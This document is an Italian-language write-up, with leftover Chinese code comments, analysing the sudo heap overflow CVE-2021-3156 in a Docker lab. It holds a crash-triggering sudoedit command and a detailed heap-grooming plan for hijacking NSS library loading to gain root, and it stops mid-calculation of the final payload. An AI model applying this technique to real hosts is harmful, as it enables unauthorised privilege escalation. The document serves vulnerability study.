
CVE-2021-3156 POC e Docker e analisi write up
[toc]
ID vulnerabilità: CVE-2021-3156
Punteggio vulnerabilità:
Prodotto vulnerabile: linux sudo
Versione interessata: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1
Condizioni di sfruttamento: linux locale; sudo è suid e può essere eseguito
Effetto dello sfruttamento: escalation di privilegi locali
Ottenere il codice sorgente: https://www.sudo.ws/getting/source/
Ambiente docker: chenaotian/cve-2021-3156
Il docker che ho costruito io stesso fornisce:
Tutto si trova nella directory /root:
image-20220124223312224
Test dell'exploit:``` cd exp su test ./exp whoami
I contenuti relativi al debug sono riportati più avanti [alcuni comandi di debug](#一些调试命令)
## Principio della vulnerabilità
Payload di attivazione della vulnerabilità```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`
Analisi del codice sorgente (sudo-1.8.21): Prima di tutto, la funzione main in sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)
··· ···
··· ···
/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
··· ···
··· ···
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
ok = policy_check(&policy_plugin, nargc, nargv, env_add,
&command_info, &argv_out, &user_env_out);
··· ···
··· ···
}
··· ···
··· ···
}
- Prima viene chiamata la funzione parse_args per elaborare i parametri che abbiamo inserito. In realtà qui abbiamo inserito solo un `-s`, non c'è molto da impostare, e sudo_mode viene impostato su MODE_EDIT e MODE_SHELL.
- Poi, a seconda del sudo_mode, MODE_EDIT richiama policy_check
Successivamente, la funzione policy_check in sudo.c (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
char *env_add[], char **command_info[], char **argv_out[],
char **user_env_out[])
{
··· ···
··· ···
ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
argv_out, user_env_out);
···
}
È stata chiamata la funzione di callback plugin->u.policy->check_policy; è possibile eseguire il debug per vedere la funzione reale di questa funzione:
image-20220123113326096
Viene chiamata la funzione sudoers_policy_check in policy.c (policy.c: 760):```c
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
char **command_infop[], char **argv_out[], char **user_env_out[])
{
··· ···
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;
ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···
}
Poi ha chiamato la funzione sudoers_policy_main in sudoers.c (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
void *closure)
{
··· ···
··· ···
/*
* Make a local copy of argc/argv, with special handling
* for pseudo-commands and the '-i' option.
*/
if (argc == 0) {
··· ···
} else {
/* Must leave an extra slot before NewArgv for bash's --login */
NewArgc = argc;
NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
··· ···
}
memcpy(++NewArgv, argv, argc * sizeof(char *));
NewArgv[NewArgc] = NULL;
··· ···
}
}
··· ···
cmnd_status = set_cmnd();
··· ···
··· ···
··· ···
}
这里设置了一些全局变量,NewArgc 和 NewArgv 如下,其实就是传入参数。
image-20220123113819116
之后进入sudoers.c 中 set_cmnd 函数(sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
//根据参数总长度计算size, 后续malloc 申请,没有问题
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
//将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
//但这里\x00 并不算空格类型字符
//他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}
··· ···
}
}
··· ···
··· ···
}
L'overflow si verifica anche qui, come si può vedere dai commenti nel codice: l'overflow dell'heap avviene durante la copia nell'heap. L'intenzione originale di questo codice non è difficile da comprendere: copiare tutti i parametri da `NewArgv` nell'heap, separati da spazi, e quando si incontra `\ + carattere non spazio`, si copia solo quel carattere.
**Non è stato però considerato un caso: se un elemento di `NewArgv` termina con `\`, si ha la struttura `\+\x00`, dove `\x00` non è un carattere di spazio (assurdo). Ciò significa che, dopo aver copiato `\x00` nell'heap, la variabile `from` viene incrementata due volte in un ciclo, saltando l'opportunità di controllare il terminatore `\x00` nel ciclo `while`, e si continua a copiare oltre, pensando che il parametro non sia finito, fino a incontrare il successivo `\x00`.**
In questo scenario si vede che subito dopo `\+\x00` c'è il parametro successivo `A*80`, quindi si continua a copiare fino alla fine di `A*80`. Ma non dimentichiamo che in seguito si elaborerà effettivamente anche il parametro `A*80`, copiandolo di nuovo. Quindi `A*80` viene copiato due volte in totale, ma il chunk è stato allocato in base alla dimensione di una singola stringa `A*80`, ben al di sotto della lunghezza copiata.
image-20220123113907744
Poi si verifica l'overflow: prima della copia:
image-20220123114036691
Dopo la copia:
image-20220123114137794
Il percorso di attivazione della vulnerabilità è (durante il debug è sufficiente impostare breakpoint su queste funzioni):
- sudo.c : main
- sudo.c : policy_check
- policy.c : sudoerrs_policy_check
- sudoers.c : sudoers_policy_main
- sudoers.c : set_cmnd
- sudoers.c : 859
## Principio dello sfruttamento della vulnerabilità
Riferimento a [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **ma il suo metodo di disposizione dell'heap è difficile da replicare; qui viene analizzato in dettaglio il metodo di disposizione dell'heap**. Si utilizzano le variabili d'ambiente `LC_*` per organizzare l'heap, in modo che il chunk in overflow vada a sovrascrivere la struttura `service_user` che la funzione `nss_load_library` deve caricare per la SO, sovrascrivendo il nome della libreria condivisa in tale struttura, e facendo sì che il programma carichi una SO da noi specificata per eseguire codice arbitrario.
Sebbene la logica sembri chiara, i dettagli da gestire sono piuttosto complessi:
1. Strutture dati e meccanismi correlati in `nss_load_library`
2. Come `setlocale` organizza l'heap tramite le variabili d'ambiente `LC_*`
Di seguito chiameremo il chunk in cui si verifica l'overflow "vuln chunk", e il bersaglio dell'overflow "target chunk".
### Principio di nss
Per prima cosa esaminiamo il codice chiave per lo sfruttamento:
glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
··· ···
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
··· ···
··· ···
}
}
ni è la struttura service_user sull'heap. Quando ni->library->lib_handle è NULL, viene chiamato __libc_dlopen per caricare la libreria condivisa. Se possiamo fare overflow nel chunk dell'heap dove si trova ni, è sufficiente sovrascrivere library con 0, perché nel primo ramo, se library è NULL, significa che non è inizializzato, e verrà chiamato nss_new_service per inizializzare library, e il handle appena inizializzato sarà necessariamente NULL.
Ok, dopo aver compreso il punto chiave di attivazione dell'exploit, diamo un'occhiata al meccanismo di nss.
Prima di tutto, nella directory /etc/ c'è un file /etc/nsswitch.conf (di solito ha questo aspetto, non è uguale su tutti i dispositivi):```
glibc-doc-reference' and info' packages installed, try:passwd: compat systemd group: compat systemd shadow: compat gshadow: files
hosts: files dns networks: files
protocols: db files services: db files ethers: db files rpc: db files
netgroup: nis
Questo è un file di configurazione che specifica i percorsi e l'ordine (in pratica quali so utilizzare) per cercare i metodi. Permette anche di specificare le azioni che il sistema intraprenderà quando un metodo ha successo o fallisce.
Quello che capisco è che specifica da dove il programma deve recuperare le informazioni necessarie, come informazioni utente, rete, indirizzo, ecc. Nel programma, ciò significa che la funzione viene chiamata da un so diverso. L'implementazione di quella funzione nei diversi so è il metodo per recuperare tali informazioni.
Ora esaminiamo tre strutture:```c
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;
typedef struct name_database
{
/* List of all known databases. */
name_database_entry *entry;
/* List of libraries with service implementation. */
service_library *library;
} name_database;
C'è un punto di ingresso globale static name_database *service_table; poi nella funzione __nss_database_lookup, se il punto di ingresso globale service_table è vuoto, viene chiamato nss_parse_file per l'inizializzazione, il codice rilevante è:
glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
FILE *fp;
name_database *result;
name_database_entry *last;
··· ···
//打开/etc/nsswitch.conf
fp = fopen (fname, "rce");
··· ···
result = (name_database *) malloc (sizeof (name_database));
··· ···
do
{
name_database_entry *this;
ssize_t n;
n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
··· ···
this = nss_getline (line);
if (this != NULL)
{
if (last != NULL)
last->next = this;
else
result->entry = this;
last = this;
}
}
while (!feof_unlocked (fp));
/* Free the buffer. */
free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
/* Close configuration file. */
fclose (fp);
return result;
}
Il principio è che quando si cerca per la prima volta, si scopre che l'entry globale service_table è vuota, quindi viene inizializzata in base al contenuto del file /etc/nsswitch.conf. La struttura dati finale è la seguente:
image-20220123134155631
Qui tutte le strutture dati vengono allocate in una sola volta nella stessa funzione, nell'ordine mostrato in figura, quindi in condizioni normali questi chunk sono contigui. Inoltre, la loro allocazione avviene prima del chunk vulnerabile. (punto di interruzione di debug nss_parrse_file)
Inoltre, è importante notare che nella funzione nss_parse_file c'è una funzione __getline, che alloca un chunk in base alla lunghezza del contenuto letto, e questo chunk viene rilasciato quando la funzione nss_parse_file termina. Poiché nel file /etc/nsswitch.conf la riga più lunga è fondamentalmente un commento, e non possiamo controllare quel file, possiamo considerare che la lunghezza del chunk allocato ogni volta nella funzione __getline è la stessa, fissata a 0x80.
Quindi possiamo interpretarlo come: questo è un chunk molto prezioso, allocato prima della lista concatenata dei servizi, che viene rilasciato subito dopo che la struttura della lista dei servizi è stata allocata, e che rimane in stato libero fino all'allocazione del chunk vulnerabile. Ricordiamo temporaneamente questo piccolo dettaglio (ho testato molti ambienti, e nella maggior parte dei casi si può sfruttare questo dettaglio).
Allora, quando viene attivata la funzione nss_load_library? Possiamo osservare la call stack durante il debug:
image-20220123114256387
Secondo la call stack, quando è necessario chiamare alcune funzioni per cercare informazioni su host o utenti, vengono invocate funzioni di ricerca per trovare la funzione corrispondente nella libreria condivisa (so). In breve, viene utilizzata la struttura dati service_table generata da /etc/nsswitch.conf. Il codice è il seguente:
glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;
*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)
Prima chiama `__nss_database_lookup` in base al `DATABASE_NAME_STRING` passato (contenuto come passwd, group, shadow, ecc.) per trovare il service corrispondente: cioè cerca nella zona rossa dell'immagine sottostante per trovare una corrispondenza, restituisce il puntatore al service. Se è la prima ricerca e tutti gli ingressi sono vuoti, viene inizializzato (come menzionato sopra).
image-20220123133933696
Successivamente chiama `__nss_lookup` che a sua volta chiama `__nss_lookup_function` per cercare, tramite la lista collegata dei service, il service che contiene la funzione corrispondente, poi chiama `nss_load_library` per ottenere l'handle della libreria condivisa (so), quindi cerca la funzione corrispondente. Il codice è il seguente:
glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
void **fctp)
{
*fctp = __nss_lookup_function (*ni, fct_name);
··· ···
while (*fctp == NULL
&& nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
&& (*ni)->next != NULL)
{
*ni = (*ni)->next;
*fctp = __nss_lookup_function (*ni, fct_name);
··· ···
}
return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)
glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···
found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略
else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;
if (ni->library->lib_handle == (void *) -1l)
/* Library not found => function not found. */
result = NULL;
else
{
··· ···
/* Construct the function name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
ni->name),
"_"),
fct_name);
/* Look up the symbol. */
result = __libc_dlsym (ni->library->lib_handle, name);
}
··· ···
··· ···
}
···
return result; } libc_hidden_def (__nss_lookup_function)
Si può vedere che, non appena viene chiamata una funzione all'interno di libnss_xxx.so, verrà invariabilmente chiamata `nss_load_library`, anche se la libreria .so è già stata caricata. Pertanto, secondo l'idea dell'exp noto, **è sufficiente sapere a quale .so appartiene la prima funzione relativa a libnss chiamata dopo che si è verificato l'heap overflow, quindi tramite il layout dell'heap posizionare la struttura `service_user` a cui appartiene quel .so subito dopo il vuln chunk. Tuttavia, dai miei test in diversi ambienti, ho scoperto che anche per la stessa versione, la struttura del codice tra una compilazione propria e una distribuzione ufficiale è piuttosto diversa**; qui utilizzo il mio ambiente di debug per ri-analizzare e scrivere un exp.
### Ritorno all'ambiente di debug
L'ambiente di debug che ho configurato (docker) è un sudo compilato da me stesso, con simboli di debug; i dettagli specifici sono i seguenti:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21
/etc/nsswitch.conf 内容如下:
image-20220115142452318
È ancora molto diverso dal normale, quindi eseguire direttamente l'exploit di altri non funzionerà. Inoltre, dopo il debug, nel mio ambiente, dopo l'heap overflow, la prima funzione nss chiamata è setspent, che appartiene a shadow, ovvero service_user di database_entrry3; il target chunk è il chunk numero 7. Vogliamo che il chunk vulnerabile appaia prima del chunk numero 7 e che nessun altro chunk numerato si trovi tra di loro (cioè, durante l'overflow, non distruggere gli altri chunk della struttura service_table).
image-20220123134335546
Successivamente, inevitabilmente dobbiamo studiare come eseguire in una sola operazione l'heap grooming per l'escalation dei privilegi. È noto che utilizzando la variabile d'ambiente LC_ALL si completa l'heap grooming nella funzione setlocale. Dopo l'analisi, setlocale contiene molte allocazioni e deallocazioni di heap, quindi qui ci concentriamo sulle parti che possiamo controllare.
Per caso ho trovato sul blog interno dell'azienda un'analisi di un collega, molto utile. Non è accessibile dall'esterno, quindi non lo linko.
Il meccanismo di heap di setlocale si riassume in una frase: basta inserire le variabili d'ambiente della lunghezza desiderata nell'ordine in cui si vogliono liberare i chunk. Ciò garantisce l'ordine di deallocazione e le relazioni di sequenza, ma questi chunk non sono strettamente contigui tra loro.
Prima diamo un'occhiata al codice sorgente di setlocale:
glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;
··· ···
locale_path = NULL; locale_path_len = 0;
··· ···
if (category == LC_ALL)
{
··· ···
··· ···
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{//关键处理函数 _nl_find_locale
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);
if (newdata[category] == NULL)
{//返回null 则会跳出循环
···
break;
}
··· ···
/* Make a copy of locale name. */
if (newnames[category] != _nl_C_name)
{
if (strcmp (newnames[category],
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
//这个strdup 很关键
newnames[category] = __strdup (newnames[category]);
if (newnames[category] == NULL)
break;
}
}
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
··· ···
}
else
for (++category; category < __LC_LAST; ++category)//校验
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
//这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
free ((char *) newnames[category]);
/* Critical section left. */
__libc_rwlock_unlock (__libc_setlocale_lock);
/* Free the resources. */
free (locale_path);
free (locale_copy);
return composite;
}
··· ···
··· ···
} libc_hidden_def (setlocale)
`setlocale` 函数是关于一些语言环境乱七八糟有关的,相关环境变量参数有以下几种:```c
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
In base al valore del parametro category, cerca il corrispondente parametro nelle variabili d'ambiente e agisce di conseguenza. In sudo viene usato setlocale(LC_ALL,""); quando il parametro passato è LC_ALL, si scorrono tutte le variabili partendo da LC_IDENTIFICATION. Per ciascuna viene chiamata la funzione _nl_find_locale, che è piuttosto complessa, ma il valore restituito newnames[category] è in pratica il valore della variabile d'ambiente corrispondente. Successivamente viene chiamata la funzione strdup per copiare quella stringa nell'heap. Dato che viene passato LC_ALL, viene generato un array di stringhe corrispondente. Questo viene poi confrontato con il valore predefinito delle variabili globali: se il controllo fallisce, l'array viene rilasciato (è facile costruire input che falliscono).
In altre parole, possiamo operare in questo modo x allocazioni heap tramite strdup e x rilasci (free) dei chunk appena allocati. Sembra semplice, ma non lo è, perché nella funzione _nl_find_locale ci sono moltissime operazioni di allocazione e rilascio sull'heap. I chunk allocati da strdup qui sono sostanzialmente quelli rilasciati all'interno di _nl_find_locale. Anche se per lo sfruttamento dell'heap analizzare ulteriormente questi dettagli non è più così importante, se si vuole posizionare l'heap con precisione, o se ci si trova in un nuovo ambiente con vincoli più stringenti, vale comunque la pena analizzare _nl_find_locale:
glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;
if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···
/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */
mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;
/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);
if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }
··· ···
if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];
if (locale_file == NULL)
return NULL;
}
··· ··· ··· ···
return (struct __locale_data *) locale_file->data; }
Alla funzione `_nl_find_locale`, viene prima chiamata la funzione `_nl_explode_name` per assegnare le maschere in base al valore della variabile d'ambiente (come ho detto nei commenti nel codice). Si controlla principalmente se sono presenti nazione, lingua e suffisso personalizzato dall'utente; se presenti, vengono impostate le maschere corrispondenti, con la lingua che ne imposta due, per un totale di quattro. Quindi la chiamata alla funzione `_nl_make_l0nflist` porta direttamente a un ritorno vuoto di `_nl_find_locale`, innescando il break del ciclo in `setlocale` di cui sopra (importante).
Ora diamo un'occhiata alla funzione `_nl_make_l0nflist`:
glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
const char *dirlist, size_t dirlist_len,
int mask, const char *language, const char *territory,
const char *codeset, const char *normalized_codeset,
const char *modifier,
const char *filename, int do_allocate)
{
char *abs_filename;
struct loaded_l10nfile *last = NULL;
struct loaded_l10nfile *retval;
char *cp;
size_t entries;
int cnt;
/* Allocate room for the full file name. */
//根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) != 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) != 0
? strlen (codeset) + 1 : 0)
+ ((mask & XPG_NORM_CODESET) != 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) != 0
? strlen (modifier) + 1 : 0)
+ 1 + strlen (filename) + 1);
if (abs_filename == NULL)
return NULL;
retval = NULL;
last = NULL;
/* Construct file name. */
//根据文件名,也就是mask决定的内容进行拼接文件名
memcpy (abs_filename, dirlist, dirlist_len);
__argz_stringify (abs_filename, dirlist_len, ':');
cp = abs_filename + (dirlist_len - 1);
*cp++ = '/';
cp = stpcpy (cp, language);
if ((mask & XPG_TERRITORY) != 0)
{
*cp++ = '_';
cp = stpcpy (cp, territory);
}
if ((mask & XPG_CODESET) != 0)
{
*cp++ = '.';
cp = stpcpy (cp, codeset);
}
if ((mask & XPG_NORM_CODESET) != 0)
{
*cp++ = '.';
cp = stpcpy (cp, normalized_codeset);
}
if ((mask & XPG_MODIFIER) != 0)
{
*cp++ = '@';
cp = stpcpy (cp, modifier);
}
*cp++ = '/';
stpcpy (cp, filename);
··· ···
//如果已经已经存在同名文件,则释放刚申请的chunk
if (retval != NULL || do_allocate == 0)
{
free (abs_filename);
return retval;
}
retval = (struct loaded_l10nfile *)
malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
* (1 << pop (mask))
* sizeof (struct loaded_l10nfile *)));
if (retval == NULL)
{
free (abs_filename);
return NULL;
}
retval->filename = abs_filename;
/* If more than one directory is in the list this is a pseudo-entry
which just references others. We do not try to load data for it,
ever. */
retval->decided = (__argz_count (dirlist, dirlist_len) != 1
|| ((mask & XPG_CODESET) != 0
&& (mask & XPG_NORM_CODESET) != 0));
retval->data = NULL;
if (last == NULL)
{
retval->next = *l10nfile_list;
*l10nfile_list = retval;
}
else
{
retval->next = last->next;
last->next = retval;
}
entries = 0;
/* If the DIRLIST is a real list the RETVAL entry corresponds not to
a real file. So we have to use the DIRLIST separation mechanism
of the inner loop. */
//这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
//每次mask 值会-1,这样遍历所有mask可能
cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
for (; cnt >= 0; --cnt)
if ((cnt & ~mask) == 0)
{
/* Iterate over all elements of the DIRLIST. */
char *dir = NULL;
while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
!= NULL)
retval->successor[entries++]
= _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
language, territory, codeset,
normalized_codeset, modifier, filename, 1);
}
retval->successor[entries] = NULL;
return retval;
}
I due parametri di input più critici sono do_allocate e mask. do_allocate indica se verrà allocata attivamente nuova memoria. Se è 0, si cerca direttamente nella lista concatenata esistente; di solito la lista esistente è vuota e quindi si ritorna. Se do_allocate non è 0, si espande la lista.
In una singola chiamata alla funzione _nl_make_l10nflist vengono allocati 1-2 chunk, di dimensioni variabili. Il primo chunk viene allocato in base alla lunghezza del nome file generato dalla combinazione di mask. Se il nome file non è duplicato, viene allocato un secondo chunk, una struttura a lunghezza variabile per la gestione del nome file. Il suo scopo specifico è irrilevante e non controllabile, quindi lo si ignora.
mask ha quattro bit; attraverso questi quattro flag si determina il nome file per l'operazione corrente. I quattro flag indicano se è presente il contenuto tra parentesi quadre:```
dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename
其中dir(/usr/lib/locale)、language(C)、filename(nome della variabile d'ambiente) sono tutti fissi, il contenuto tra le parentesi quadre viene generato opzionalmente in base al valore di mask. Ad esempio:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA
Allora:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀
In base ai diversi mask, potrebbe generare:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION
Poiché il nostro input non contiene informazioni sul paese, il campo [_territory] è vuoto, quindi indipendentemente dal fatto che la maschera sia 1 o meno, questo campo non sarà presente. Questo porta a maschere diverse che producono lo stesso nome file, il che spiega perché sopra si incontrava lo stesso nome file e si rilasciava e restituiva il risultato.
L'analisi completa dell'allocazione heap fin qui è sufficiente; in base alla situazione reale si può comprendere e organizzare specificamente. Nel mio ambiente di debug, è fondamentale sapere che in base al valore delle variabili d'ambiente immesse si esegue strdup, e alla fine i molteplici chunk generati da strdup vengono rilasciati tutti in una volta. Questa operazione è il punto chiave. Se si incontra un ambiente più complesso, potrebbe essere necessario utilizzare la maschera per controllare la dimensione e il numero dei chunk rilasciati.
Tornando al mio ambiente di debug:
image-20220123134419470
Voglio posizionare il chunk vulnerabile prima del chunk target, cioè il chunk 7, senza danneggiare nessuno dei chunk da 1 a 6.
Quindi la strategia di layout dello heap è:
Poiché i chunk 1, 2, 4 e 6 sono tutti chunk di dimensione 0x20, durante l'esecuzione del programma ci sono molte operazioni di allocazione che consumano rapidamente la tcache di 0x20. In pratica, quando la funzione nss_parse_file viene eseguita, la tcache di 0x20 è già esaurita, e qualsiasi nuova allocazione dovrà essere presa dal top chunk o tagliata da small/large/unsorted bin. Quindi non c'è bisogno di preoccuparsene.
Ci concentriamo su come inserire un chunk di dimensione speciale 0xX0 (che non venga consumato prima dell'allocazione del chunk vulnerabile) tra i chunk 3 e 5 e il chunk 7. Approssimativamente come in figura:
image-20220123134611280
Poiché tutti i chunk coinvolti nel layout dello heap sono allocati da setlocale, e questi oggetti in setlocale sono sostanzialmente inutili, anche se sovrascritti non causano crash. Quindi non importa se il nostro chunk vulnerabile e il chunk target non sono adiacenti.
La nostra strategia finale è quindi: in setlocale allocare due chunk di dimensione 0x40, poi un chunk di dimensione 0xa0 (cioè il chunk 0xX0 menzionato sopra), e infine un altro chunk di 0x40. Così verranno rilasciati in ordine inverso, e poi nella funzione nss_parse_file verranno allocati nello stesso ordine. Inoltre, nella funzione nss_parse_file, getline alloca un chunk di 0x80 che "protegge" il chunk 0xa0 che abbiamo riservato.
Ora calcoliamo la distanza tra il chunk rimosso e il chunk overflow:
image-20220123114452223
0x5576b5ac7000 - 0x5576b5ac69b0 = 0x650
Possiamo dividere il parametro di input totale di 0xa0 in due parti: x backslash \\ (ciascuno una stringa indipendente, occupa 2 byte) e 'a' * y (y caratteri 'a' come una stringa, occupa y+1 byte). 2x + y = 0xa0 - 0x10 (qui 0xa0 - 0x10 perché il nostro chunk vulnerabile è di dimensione 0xa0, ma l'allocazione effettiva richiede 0x10 in meno). Il comando finale avrà la forma:```
sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"
Calcola x, y tali che:```
